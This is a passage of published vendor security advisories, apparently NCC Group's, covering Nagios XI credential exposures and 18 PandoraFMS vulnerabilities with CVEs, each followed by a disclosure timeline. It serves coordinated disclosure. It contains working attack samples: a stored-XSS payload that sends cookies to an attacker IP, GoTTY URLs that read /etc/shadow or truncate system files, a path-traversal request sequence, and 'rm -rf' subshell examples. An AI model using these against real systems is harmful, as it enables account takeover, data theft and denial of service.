  • Basic authentication credentials for various subsystems

During this research it was observed that this file is ‘world readable’, meaning that any user on the machine is able to read the content of the file without needing to be part of any specific user group. Given the sensitivity of the file, it must be protected at all costs in order to prevent a low privileged attacker on a compromised webserver from gaining access to the database and the ability to pivot to additional hosts.

Additionally, it was observed that the `htpasswd` file under `/usr/local/nagiosxi/etc/htpasswd.users` is also world readable. This file contains the SHA1 hashed credentials for every Nagios XI user –

$~ cat /usr/local/nagiosxi/etc/htpasswd.users 

nagiosadmin:{SHA}nisVkrOTvgdZ2rHjARyrfvR5MMO= 
nagiosxi:{SHA}T.Ma0cPn+7hyEv3At8/E3fUfmQ4=
nagios:{SHA}/i0KelsOlRtuw8RhhPHtPq4ZRZO=
nagios2:{SHA}E6faZ3wxNCExGaUDRn0QT3sPxzM= 

Should attackers compromise the webserver or obtain the ability to read arbitrary files on the webserver, they will be able to read the contents of this file and mount an offline brute-force attack on the hashes in an attempt to obtain the associated plaintext passwords.

16. Weak Default MySQL Credentials (CVE-2023-47405)

Risk: Low (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N)

Impact

Consequences of highly privileged access to MySQL server can range from code execution, Nagios agent compromise, and Nagios server denial of service.

Details

As part of this vulnerability research, a fresh Ubuntu 22 virtual machine was created with no additional configuration performed.

During the installation of Nagios XI, it was observed that the installer creates at least 3 MySQL database users with weak credentials –

  • `nagiosxi`/`n@gweb`
  • `nagiosql`/`n@gweb`
  • `ndoutils`/`n@gweb`

Each of these users has full Create/Read/Update/Delete (CRUD) access to their respective databases, which allows for trivial admin account takeover, denial of service (by deleting config data, user data or network host data), and potentially code execution (for example by modifying the entries within the `nagiosql.tbl_command` table).

The risk of this finding is mitigated significantly because in the default configuration the MySQL database server only listens on localhost, however if the webserver is compromised (as evidenced by the technical advisories in this research piece) these weak credentials would make it trivial for an attacker to compromise the database.

Disclosure Timeline

  • 9/19/2023 – Initial contact made with the vendor in order to establish a secure channel to share the vulnerability details
  • 9/19/2023 – Nagios Enterprises, LLC responds indicating that we can email the disclosures to them
  • 9/19/2023 – NCC Group consultants send the disclosures by email
  • 9/19/2023 – Nagios Enterprises, LLC confirm receipt of the vulnerabilities
  • 9/20/2023 – Nagios Enterprises, LLC schedules a call to discuss the vulnerabilities
  • 9/21/2023 – Nagios Enterprises, LLC request clarification on a finding
  • 9/21/2023 – NCC Group responds with the clarification
  • 10/17/2023 – Nagios Enterprises, LLC reschedules the vulnerability discussion call to November 1st
  • 11/1/2023 – NCC Group and Nagios Enterprises, LLC have a call to discuss the findings and remediation progress. Rough coordinated disclosure date established for early December
  • 12/5/2023 – NCC Group requests a status update for when the fix is due to be released, in order to coordinate public disclosure
  • 12/8/2023 – Nagios responds to confirm that they consider the vulnerabilities to be mitigated, and we can proceed with public disclosure.

Technical Advisory – Multiple Vulnerabilities in PandoraFMS Enterprise

2 January 2024 at 16:44

Introduction

This is the third Technical Advisory post in a series wherein I audit the security of popular Remote Monitoring and Management (RMM) tools. The first post in the series can be found at Multiple Vulnerabilities in Faronics Insight, the second post can be found at Multiple Vulnerabilities in Nagios XI.

In this post I describe the 18 vulnerabilities that I discovered in PandoraFMS Enterprise v7.0NG.767 available at https://pandorafms.com. PandoraFMS is an enterprise scale network monitoring and management application which provides systems administrators with a central ‘hub’ to monitor and manipulate the state of computers (agents) deployed across the network.

The PandoraFMS Console (server) boasts a large feature set which includes the ability to execute arbitrary commands on agent computers, monitor processes on agents, monitor CPU load, interact via SNMP, and enables direct SSH/telnet connections to agents via a rich, bespoke in-browser client.

During this research a number of vulnerabilities were identified in the product:

  1. Unauthenticated Admin Account Takeover Via Cron Log File Backups (CVE-2023-4677)
  2. Database Backups are Available to Any User (CVE-2023-41786)
  3. Remote Code Execution via MIBS file uploader (CVE-2023-41788)
  4. Unauthenticated Admin Account Takeover Via Malicious Agent and XSS (CVE-2023-41789)
  5. Arbitrary File Read As Root Via GoTTY Page (CVE-2023-41808)
  6. Arbitrary File Read Via API Checker (CVE-2023-41787)
  7. Linux Local Privilege Escalation Via GoTTY Page (CVE-2023-41807)
  8. Path Traversal in get_file.php (CVE-2023-41790)
  9. Stored Cross Site Scripting via SNMP Trap Editor Page (CVE-2023-41792)
  10. Stored Cross Site Scripting via Translation Abuse (CVE-2023-41791)
  11. Stored Cross Site Scripting via User Profile Comment Field (CVE-2023-41809)
  12. System Denial of Service Via GoTTY Page (CVE-2023-41806)
  13. Any User Can Change Any Other User’s Notification Settings (CVE-2023-41813)
  14. Cookies Set Without HTTP ONLY Flag (CVE-2023-41793)
  15. Installer installs MySQL with Weak Credentials (Not assigned)
  16. Stored Cross Site Scripting Via Dashboard Panel (CVE-2023-41810)
  17. Stored Cross Site Scripting via Site News Page (CVE-2023-41811)
  18. User Credentials Written To Access Log In Plaintext (CVE-2023-41794)

N.B: Despite the findings which were identified during this research, generally speaking, the security posture of the application is mature, and significant effort has been made to mitigate impactful vulnerabilities like SQL injection, IDOR and LFI. Additionally the RBAC controls are generally implemented consistently across the application, to a sufficiently granular degree.

These vulnerabilities were all mitigated across versions v773, v774 and v775 (the latest version at the time of writing).

1. Unauthenticated Admin Account Takeover Via Cron Log File Backups (CVE-2023-4677)

Risk: Critical (9.9 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L)

Impact

Successful compromise of an administrator’s account generally grants an attacker with the ability to execute arbitrary commands on all connected agents, leading to mass compromise.

Details

As part of the Pandora FMS server’s operation it periodically executes a Linux ‘cron’ job and stores logs of the job’s execution in `/var/www/html/pandora_console/logs/cron.log` by default. This log file is periodically rotated by compressing it into a gzip archive and storing it in files named cron.log.date_of_backup.gz

Pandora developers have implemented an Apache `.htaccess` file which explicitly blocks browsers from requesting the `cron.log` file, however an oversight in this `.htaccess` file enables an attacker to retrieve all backups by brute forcing the date portion of the backup filename.

Amongst other sensitive details, these cron log files contain the administrator’s session ID at the time that the cron log was written. Should an attacker successfully access a cron log file then they are able to extract admin’s session ID and connect to Pandora FMS as an administrator, taking over the admin’s account.

A small Python proof of concept script was written which automatically attempts to retrieve cron log backup files from “today’s date+1” backwards, extracts the session ID and establishes whether it’s valid or not by requesting the admin’s user profile page whilst supplying the extracted session ID.

An image showing successful account takeover by abusing the exposed cron logs.

2. Database Backups are Available to Any User (CVE-2023-41786)

Risk: High (7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Impact

Exploitation of this vulnerability enables compromise of all connected agents, all Pandora FMS users with weak credentials and full compromise of the Pandora FMS database.

Details

The Pandora FMS server allows administrators to schedule database backups to be created on a configurable basis, this functionality is not available to low privileged users.

These backups are persisted in `/var/www/html/pandora_server/attachment/backups` with a reasonably robust naming convention (`backup_pseudorand_date_time.sql.gz`). A list of all active database backups and links to download them is available to any authenticated user at:

http://SERVER_IP/pandora_console/index.php?sec=gextensions sec2=enterprise/godmode/manage_backups 

Because this functionality is available to any authenticated user, including low privileged ‘read only’ users, database backup files can be downloaded by a low privileged attacker. The database backups contain a variety of interesting information including –

  • Credentials for all users (MD5 hashed)
  • Credentials for the internal user and API users (plaintext)
  • Credentials for all deployed agent infrastructure (plaintext by default)
  • Configuration details for all deployed agent infrastructure
  • Configuration details for the Pandora FMS application (including numerous plaintext passwords in the `tconfig` table)

It is also noteworthy that the backup files can be downloaded directly by an unauthenticated user if they have knowledge of the database backup filenames, however due to the pseudorandom element of the name along with the additional entropy that the datetime provides it is unlikely that this will be exploited.

3. Remote Code Execution via MIBS file uploader (CVE-2023-41788)

Risk: High (7.6 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N)

Impact

Due to the ability to read configuration files and connect directly to the database, code execution on the Pandora FMS server constitutes a complete compromise of all accounts and agents registered with the server.

Details

Pandora FMS allows administrators to upload SNMP MIBS files at “/pandora_console/index.php?sec=snmpconsole sec2=operation/snmpconsole/snmp_mib_uploader” uploaded files are persisted at “/var/www/html/pandora_console/attachment/mibs/” and are therefore accessible over HTTP by any unauthenticated user on the network.

During this vulnerability research it was observed that it is possible to upload PHP files without restriction to the SNMP MIBS uploader, and these files would become accessible at http://host/pandora_console/attachment/mibs/XYZ.php, where XYZ.php is the name of the uploaded file.

NCC Group researchers were able to abuse this flaw to upload a web shell to the server and fully compromise the Pandora FMS server.

4. Unauthenticated Admin Account Takeover Via Malicious Agent and XSS (CVE-2023-41789)

Risk: High (8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)

Impact

Successful compromise of an administrator’s account generally grants an attacker with the ability to execute arbitrary commands on all connected agents, leading to mass compromise.

Details

In the default Pandora FMS configuration, the mechanism for new agents to connect to the server is a very simple XML-based protocol. Agents send a large XML payload to the server containing various pieces of information about the agent host machine, and upon receipt of this payload the server will consider them to be “connected”. A legitimate agent will send XML payloads every 5 minutes by default for the server to get up-to-date information on the agent’s state.

Due to the relative simplicity of this agent connection protocol, it is possible for an attacker to create artificial “agents” by submitting arbitrary XML payloads to the server. While fuzzing the agent connection protocol, a stored Cross Site Scripting vulnerability was discovered on the ‘custom ID’ field of the agent details page, enabling an attacker to submit a malicious XML payload as an unauthenticated user and gain JavaScript execution in an administrator’s browser when the administrator next views the agent details page.

A basic proof-of-concept Python script was developed which can perform these steps automatically, sending the administrator’s session ID back to the attacker –

An image showing successful account takeover by abusing the weak agent connection protocol and a stored XSS.

5. Arbitrary File Read As Root Via GoTTY Page (CVE-2023-41808)

Risk: Medium (7.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

Impact

Abuse of this flaw enables an attacker to retrieve privileged data from the host including password hashes from the “/etc/shadow” file. With enough time and computational power password hashes can sometimes be ‘cracked’ to establish what their corresponding passwords are, this could then enable a full host privilege escalation.

Details

The Pandora FMS Console deploys a bespoke webservice named GoTTY on http://localhost:8081. During this research it was observed that this acts as an SSH client, enabling Windows or Linux users on the Pandora server host to connect to arbitrary remote hosts over SSH via their web browser. This is a full and unrestricted SSH client.

The service accepts any number of URL parameters named ‘arg’ which are passed directly as command line arguments to the SSH client when it starts.

One command line argument supported by the underlying `SSH` client is the `configfile` argument (`-F`), supplying this argument along with a file path will cause SSH to attempt to read the file and, upon failing to read configuration data from the file, print the contents of the file to the user.

Because the GoTTY service runs as root, it is possible to read any protected file on the filesystem as a low privileged user. For example, simply navigating to the URL http://localhost:8081/?arg=-F arg=/etc/shadow arg=localhost, will cause the application to print the contents of the /etc/shadow file to the screen –

/etc/shadow: line 1: Bad configuration option: root:$6$e7ffqyh.8wh9zidg$cr7ufucqlcjrdv5k/y.oslcsmdhniixiuhyva9dswjhkkdsci4v6ipicbobxlz0nzyxp92fxdpksv4pfzebem.::0:99999:7:::
/etc/shadow: line 2: Bad configuration option: bin:*:19326:0:99999:7:::
/etc/shadow: line 3: Bad configuration option: daemon:*:19326:0:99999:7:::
/etc/shadow: line 4: Bad configuration option: adm:*:19326:0:99999:7:::
/etc/shadow: line 46: Bad configuration option: nginx:!!:19516::::::
/etc/shadow: line 47: Bad configuration option: apache:!!:19516::::::
/etc/shadow: line 48: Bad configuration option: mysql:!!:19516::::::
/etc/shadow: line 49: Bad configuration option: postfix:!!:19516::::::
/etc/shadow: line 50: Bad configuration option: pandora:!!:19516:0:99999:7:::

This could then be abused to attempt to brute force the root user’s password hash offline. Another example of abusing this flaw would be to steal every user’s SSH private key file by requesting `/username/.ssh/id_rsa`

This is especially concerning as no authentication or authorization are required to interact with this service in the default configuration.

This vulnerability is slightly mitigated because the service is only deployed on localhost, had the service been made available to any network adjacent users then this vulnerability would have been rated as having critical severity.

6. Arbitrary File Read Via API Checker (CVE-2023-41787)

Risk: Medium (4.4 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)

Impact

Arbitrary file read as the Apache user enables an attacker to read every file under (at least) `/var/www/html/pandora_console` and any other file that the Apache user can read.

Details

The Pandora application exposes a page at `/pandora_console/index.php?extension_in_menu=gextensions sec=gextensions sec2=extensions/api_checker` which enables an administrator to test if a custom Pandora FMS API endpoint is responding correctly. The intention is that an administrator will supply a HTTP/HTTPS URL in the Custom URL field and the web server will make a call to the URL, printing the response.

During this vulnerability research it was observed that it is possible to supply other URL schemes in this field too, including `file://`. Supplying a Custom URL of `file:///etc/passwd` caused the web server to print the host’s passwd file to the screen.

The screenshot below demonstrates an attacker obtaining the config file using this mechanism:

An image showing successful exfiltration of the Pandora config file by abusing a LFI vulnerability.

This finding’s severity is significantly mitigated by the fact that this page is only available to administrative users.

7. Linux Local Privilege Escalation Via GoTTY Page (CVE-2023-41807)

Risk: Medium (9.3 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Despite this high CVSS score, exploitation is unlikely, and as such the risk has been lowered to medium.

Impact

Privilege escalation to the root user enables an attacker to fully enumerate and compromise the server without any limitations.

Details

The Pandora FMS Console deploys a bespoke webservice named GoTTY on http://localhost:8082. During this research it was observed that this acts as a telnet client, enabling local operating system users on the Pandora server to connect to remote Telnet servers via their web browser. This is a full and unrestricted Telnet client, and as such it supports the dangerous “!” `invoke subshell` command.

Invoking a subshell allows a user to execute commands on the telnet client’s host by prepending them with the exclamation mark character (!ls, !whoami, !rm -rf /var/www). Because the GoTTY webservice runs as the root user, invoking a subshell allows anyone on localhost (or with access to localhost) to execute commands on the host as root, this constitutes a full privilege escalation on the host.

It should be noted that no authentication or authorization are required to interact with this service in the default configuration.

This vulnerability is slightly mitigated because the service is only deployed on localhost, had the service been made available to any network adjacent users then this vulnerability would have been rated as having critical severity.

8. Path Traversal in get_file.php (CVE-2023-41790)

Risk: Medium (6.3 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)

Impact

Exploitation of this finding enables an attacker to exfiltrate the contents of the Pandora FMS config file, potentially enabling them to fully compromise the database.

Details

`get_file.php` is a PHP script available to authenticated users. Its purpose is to serve a subset of files from the ‘file_manager’ page of the Pandora FMS Console. To prevent arbitrary file reads, the `get_file.php` script accepts two arguments –

  • `file` – a base64 encoded representation of the filename to be downloaded
  • `hash` – a concatenation of the `file` param and a secret key stored in the `tconfig` table of the database, the concatenated strings are base64 encoded.

The intention behind this security scheme is that an attacker shouldn’t know the `server_unique_identifier` value which is stored in the database, so they should never be able to manually request files which aren’t listed in the file manager page of the application.

Whilst researching Pandora FMS it was observed that if an attacker does become aware of the `server_unique_identifier` value, they are able to request arbitrary files. Here is an example of an attacker stealing the application’s config file by abusing path traversal –

FILE=`echo -n "../../../../../../../../var/www/html/pandora_console/include/config.inc.php" | base64 -w0`
HASH=`echo -n "$(echo $FILE)2d4db6e6061b11eea83f000c295d5470" | md5sum | cut -f1 -d' '`
URL=`echo -n  "http://127.0.0.1/pandora_console/include/get_file.php?file=$FILE hash=$HASH"`
curl $URL  -H 'Cookie: PHPSESSID=3l5il2emlt4j4j4v03k6g1aq0u'
<?php

/** *
 * @category   Config
 * @package    Pandora FMS
 * @subpackage Community
.......... SNIP

Numerous mechanisms have been described in this package of technical advisories which could enable an attacker to ascertain the `server_unique_identifier` value (exposed database backups, weak default MySQL credentials, admin account takeover, etc.) which leads NCC Group researchers to believe that this is a credible attack vector.

9. Stored Cross Site Scripting via SNMP Trap Editor Page (CVE-2023-41792)

Risk: Medium (7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:L)

Impact

Consequences of a stored Cross Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, sophisticated phishing attacks.

Details

Two key flaws were identified in the Pandora FMS console. Firstly, there is an RBAC lapse on the SNMP Trap editor page which enables any authenticated user to create SNMP Trap entries (it is assumed that this is intended to be an administrator-only feature).

Secondly there is no output encoding on the OID/text/description fields in the SNMP Trap list page, leading to a situation where a low privileged attacker can create malicious SNMP Trap entries containing JavaScript code which executes whenever a victim visits the SNMP Trap list page.

10. Stored Cross Site Scripting via Translation Abuse (CVE-2023-41791)

Risk: Medium (6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Impact

Consequences of a stored Cross Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, sophisticated phishing attacks.

Details

The application makes a feature available to administrators which allows them to tweak the translation of various application strings so that they are more comfortable in the user’s native language.

There are two key issues here. The first issue is that the feature is erroneously accessible as a non-administrator user (this is clearly intended to be an administrative feature). The second issue is that there is insufficient filtering on the supplied translation strings, which enables stored XSS by changing the strings to JavaScript payloads.

As an example, replace the “Enter keywords to search” string (a string which renders at the top of every single page in the application) with

'test'; ?><script>var i=new Image; i.src='http://192.168.120.128:8888/?'+document.cookie;</script><input

After this change is made, any time that a user navigates to any page in the application, their cookies will be exfiltrated to the IP address noted above –

An image showing successful exfiltration of admin's cookies by abusing the translation page XSS vulnerability.

11. Stored Cross Site Scripting Via User Profile Comment Field (CVE-2023-41809)

Risk: Medium (6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Impact

Consequences of a stored Cross Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, sophisticated phishing attacks.

Details

The application allows users to supply comments about themselves in their profile, no special permissions are required for this. A snippet of this comment is rendered to administrators in the `Users` screen at:

http://pandora_server_hostname /pandora_console/index.php?sec=gusuarios sec2=godmode/users/user_list#

If the comment exceeds 24 characters in length then it is truncated to 24 characters and an ellipses is added on the end. An XSS vulnerability exists within this comments field, exploitable with a sub-24 character payload such as the following –

<script src=//nc.ci/1 />

This can be seen below –

An image showing successful exploitation of a stored XSS in the PandoraFMS profile page

12. System Denial of Service Via GoTTY Page (CVE-2023-41806)

Risk: Medium (6.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

Impact

System instability or full denial of service, leading to the Pandora FMS server machine becoming unavailable.

Details

The application deploys a bespoke webservice named GoTTY on http://localhost:8082. During this research it was observed that this acts as a telnet client (executed as the root user on the server machine), enabling users on the Pandora server to connect to remote Telnet servers via their web browser.

The service accepts any number of URL parameters named ‘arg’ which are passed directly as command line arguments to the telnet client when it starts.

One command line argument supported by `telnet` is the `tracefile` argument (-n), supplying this argument along with a file path will cause telnet to either create a new file at that path or truncate an existing file.

Because of this it is possible for an attacker who has compromised the Pandora FMS Console host to navigate to:

  • http://localhost:8082/?arg=-n&arg=/etc/shadow to truncate the host’s shadow file and make the host become inoperable 
  • http://localhost:8082/?arg=-n&arg=/var/www/html/pandora_console/include/config.php to truncate the configuration file and remove the web server’s ability to connect to the database.

It should be noted that it is not required to be authenticated with Pandora FMS Console to interact with this service in the default configuration, one must simply be able to interact with the service on localhost (via a file upload vulnerability which compromises the Apache user, for example).

This vulnerability is slightly mitigated because the service is only deployed on localhost, had the service been made available to any network adjacent users then this vulnerability would have been rated as having high severity.

13. Any User Can Change Any Other User’s Notification Settings (CVE-2023-41813)

Risk: Low (0.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N)

Impact

The victim may miss notifications on alerts/messages etc. because their notifications have all been disabled by a third party. Additionally, the ability to modify another user’s settings can erode user trust in the platform.

Details

The application contains functionality which allows a user to alter their notification settings so that they do/do not receive a red ‘alert’ badge at the top of the screen when certain conditions are met in the application. The request to change these notification settings is sent as a POST request to `http://localhost/pandora_console/ajax.php`. The POST request looks as follows –

'page=operation/users/user_edit_notifications change_label=1 label=enabled source=5 user=admin value=0'

The ‘value’ parameter corresponds with either true or false (1 or 0 respectively), the user parameter is the username of the user who is changing notification settings and the source parameter is the notification setting which is going to be changed.

It was observed that any authenticated user can submit this request to the ajax.php endpoint, supplying arbitrary `user` parameters to alter the notification settings of other users.

14. Cookies Set Without HTTP ONLY Flag (CVE-2023-41793)

Risk: Low (0.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N)

Impact

An attacker who can exfiltrate a user’s cookies via malicious JavaScript is able to take over that user’s account by simply setting their own cookie values in their browser to the exfiltrated cookie value.

Details

The application makes use of the classic `PHPSESSID` cookie in order to allow the user to authenticate with the webserver and retain their session over multiple HTTP requests.

HTTP cookies support numerous flags or attributes which limit how they can be exploited in the case of a web application or browser compromise. One such flag is the `HTTP ONLY` flag which instructs the browser that a cookie’s value should never be used or released for anything other than the transmission of HTTP requests to/from the relevant web server. This flag prevents JavaScript from accessing and abusing the cookie’s value using `document.cookie`.

This flag is not being set on the `PHPSESSID` cookie currently, which means that any malicious JavaScript which executes in Pandora FMS (either by host compromise, CI/CD compromise or XSS) is able to access the user’s cookie and exfiltrate it to a third party with relative ease. This, in turn, enables trivial account takeover.

15. Installer Installs MySQL with Weak Credentials

Risk: Low (0.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:N)

Impact

Consequences of highly privileged access to MySQL server can range from remote code execution, to Pandora agent compromise, to Pandora FMS Console denial of service.

Details

As part of this security research, a stock “Rocky Linux 8” VM was created to host the Pandora FMS Console application. It was observed that as part of the Pandora FMS Console installation, the installer checked for the presence of the MySQL service and, if it wasn’t present, installed “Percona Server” (a third-party MySQL server).

Researchers noted that the MySQL server was installed in an insecure configuration which is open to abuse by an attacker who is aware that Pandora FMS is installed on a host –

  • The server is configured to listen on all interfaces, enabling remote connections from other hosts on the network
  • Password quality validation is silently disabled, enabling hardcoded credentials to be created
  • The ‘root’ user account is configured with hardcoded credentials (‘root:pandora’)
  • Another highly privileged account is created with hardcoded credentials (‘pandora:pandora’). This account has the same permissions as the root ‘database’ user.

Each one of the above bullet points significantly raises the odds of the database being compromised.

16. Stored Cross Site Scripting Via Dashboard Panel (CVE-2023-41810)

Risk: Low (0.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:N)

Impact

Consequences of a stored Cross Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, sophisticated phishing attacks.

Details

The application provides all authenticated users with the ability to create their own dashboards, complete with numerous widgets. One of the available widgets is called `Panel with Message`. Whilst researching Pandora FMS it was observed that by creating a new `Panel with Message` and changing the text editor to `HTML mode`, it was possible to supply JavaScript `<script>` tags and gain arbitrary JavaScript code execution on the dashboard.

Because of this, should a victim visit the attacker’s dashboard the JavaScript inside of the panel will execute automatically in the victim’s browser.

17. Stored Cross Site Scripting via Site News Page (CVE-2023-41811)

Risk: Low (0.0 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:N)

Impact

Consequences of a stored Cross Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, sophisticated phishing attacks.

Details

The application allows administrators to change the ‘News’ which is displayed on the homepage of the console after every user authenticates.

There is no input filtering on the page that allows admins to modify the news, and there is no output encoding on the page which displays the news and so it is possible for a malicious attacker to put JavaScript `<script>` tags inside of the ‘news’, which is executed in every homepage visitor’s browser.

This finding has been rated as having low severity purely because it is only exploitable by an administrator.

18. User Credentials Written To Access Log In Plaintext (CVE-2023-41794)

Risk: Low (3.2 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N)

Impact

An unauthenticated attacker who gains access to the Apache access log could conceivably gain low privileged access to the Pandora FMS Console.

Details

In the default Pandora FMS Console configuration, a request is periodically sent automatically to a test API endpoint to verify that the console is still running, and still connected to the database. This request’s URL looks as follows –

/pandora_console/include/api.php?op=get op2=test apipass=1234 user=internal_API pass=Lb9d6P4x

Because the ‘internal_user’ credentials are present within the URL, they are logged automatically to /var/log/httpd/access.log (and backups) as shown below –

$> grep -I “op2=test” /var/log/httpd/access.log
73448:127.0.0.1 - - [18/Jun/2023:01:50:09 +0200] "GET /pandora_console/include/api.php?op=get op2=test apipass=1234 user=internal_API pass=Lb9d6P4x HTTP/1.1" 200 22 "-" "curl/7.61.1"

The severity of this finding is significantly lowered because the aforementioned log files (and backups) are only readable by the root user by default which drastically decreases the likelihood of exploitation.

Disclosure Timeline

  • 07/25/2023 – Initial contact made with the vendor in order to establish a secure channel to share the vulnerability details
  • 07/26/2023 – PandoraFMS security team replies to request delivery of the technical advisories directly by email
  • 07/26/2023 – Vulnerabilities are collated into a PDF and delivered by email to the security team
  • 08/01/2023 – Vendor responds to say that they’re triaging the vulnerabilities
  • 08/08/2023 – Vendor emails to say that they’re splitting the fixes over multiple releases
  • 08/08/2023 – NCC Group emails the vendor to establish a firm timeline for the fixes, and attempts to set a public disclosure date
  • 08/15/2023 – After receiving no response, NCC Group emails the vendor again to establish a timeline
  • 08/22/2023 – PandoraFMS responds to inform NCC Group that the fixes will likely be released at the end of October
  • 08/22/2023 – NCC Group proposes the end of October as the coordinated disclosure date
  • 09/25/2023 – NCC Group checks in with PandoraFMS to confirm that the disclosure date is still appropriate
  • 10/12/2023 – After receiving no response, NCC Group emails the vendor again to establish a timeline
  • 10/13/2023 – The vendor responds with planned release version numbers and assigned CVE IDs, but no timeline
  • 10/13/2023 – NCC Group asks once more if the disclosure date is still appropriate
  • 10/26/2023 – Having received no response, NCC Group prompts PandoraFMS to provide an updated disclosure date estimate
  • 10/27/2023 – PandoraFMS responds to say that there is a delay in implementing the fixes, that they hope to release all bugfixes before the end of the year
  • 12/29/2023 – PandoraFMS indicates that they have released their final patch which mitigates all of the identified vulnerabilities
  • 01/02/2024 – NCC Group publishes their advisory.

Oliver Brooks

Oliver is a Principal Security Consultant at NCC Group, working within the Canadian Technical Security Consulting team. He specializes in native application assessments (Windows and Linux), reverse engineering, and bespoke exploit development using a variety of languages.

❌
❌